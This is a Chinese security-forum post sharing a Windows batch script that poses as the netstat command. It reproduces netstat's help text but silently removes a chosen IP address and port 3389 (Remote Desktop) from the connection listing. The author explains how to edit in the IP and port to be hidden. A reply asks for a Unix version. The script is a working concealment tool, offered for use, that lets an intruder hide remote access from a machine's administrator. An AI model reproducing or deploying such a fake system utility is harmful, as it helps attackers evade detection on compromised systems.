论坛: 编程破解 标题: FakeHideDemoNetstat(ALLyeSNO) 复制本贴地址    
作者: ALLyeSNO [allyesno]    论坛用户   登录
@echo off
rem this is fh's demo
rem test in winxp by ALLyeSNO
echo %1 %2 %3 %4 %5 %6 %7 %8 %9|%systemroot%\system32\findstr.exe "["]">nul&&goto help
echo %1 %2 %3 %4 %5 %6 %7 %8 %9|%systemroot%\system32\findstr.exe " [0-9] ">nul&&goto help
echo %1 %2 %3 %4 %5 %6 %7 %8 %9|%systemroot%\system32\findstr.exe /i " ^a ^b ^c ^d ^e ^f ^g ^h ^i ^j ^k ^l ^m ^n ^o ^p ^q ^r ^s ^t ^u ^v ^w ^x ^y ^z ">nul&&goto help
echo %1 %2 %3 %4 %5 %6 %7 %8 %9|%systemroot%\system32\findstr.exe /i " \<-[ers] ">nul&&goto ers
echo %1 %2 %3 %4 %5 %6 %7 %8 %9|%systemroot%\system32\findstr.exe /i " \<-[anop] ">nul&&goto ano
goto help
:ers
%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6 %7 %8 %9
goto end
:ano
%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6 %7 %8 %9>netstat.tmp
type netstat.tmp|%systemroot%\system32\findstr.exe /v "\<172.16.109.139\> 3389"
goto end
:help
rem goto end
echo.
echo Displays protocol statistics and current TCP/IP network connections.
echo.
echo NETSTAT [-a] [-e] [-n] [-o] [-s] [-p proto] [-r] [interval]
echo.
echo  -a            Displays all connections and listening ports.
echo  -e            Displays Ethernet statistics. This may be combined with the -s
echo                option.
echo  -n            Displays addresses and port numbers in numerical form.
echo  -o            Displays the owning process ID associated with each connection.
echo  -p proto      Shows connections for the protocol specified by proto; proto
echo                may be any of: TCP, UDP, TCPv6, or UDPv6.  If used with the -s
echo                option to display per-protocol statistics, proto may be any of:
echo                IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6.
echo  -r            Displays the routing table.
echo  -s            Displays per-protocol statistics.  By default, statistics are
echo                shown for IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, and UDPv6;
echo                the -p option may be used to specify a subset of the default.
echo  interval      Redisplays selected statistics, pausing interval seconds
echo                between each display.  Press CTRL+C to stop redisplaying
echo                statistics.  If omitted, netstat will print the current
echo                configuration information once.
echo.
echo.
:end


用法跟netstat一样:

fhns -na

fhns -rs

需要隐藏的ip 以及 端口修改bat里面的
type netstat.tmp|%systemroot%\system32\findstr.exe /v "\<127.0.0.1\> 3389"

这是Fake Hide的demo made by ALLyeSNO

执行的结果 隐藏了 127.0.0.1 的ip地址 以及 3389端口






[此贴被 ALLyeSNO(allyesno) 在 01月08日02时37分 编辑过]

地主 发表时间: 05-01-08 02:35

回复: TecZm [teczm]   版主   登录
能不能做个在unix下的?

B1层 发表时间: 05-01-08 16:19

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号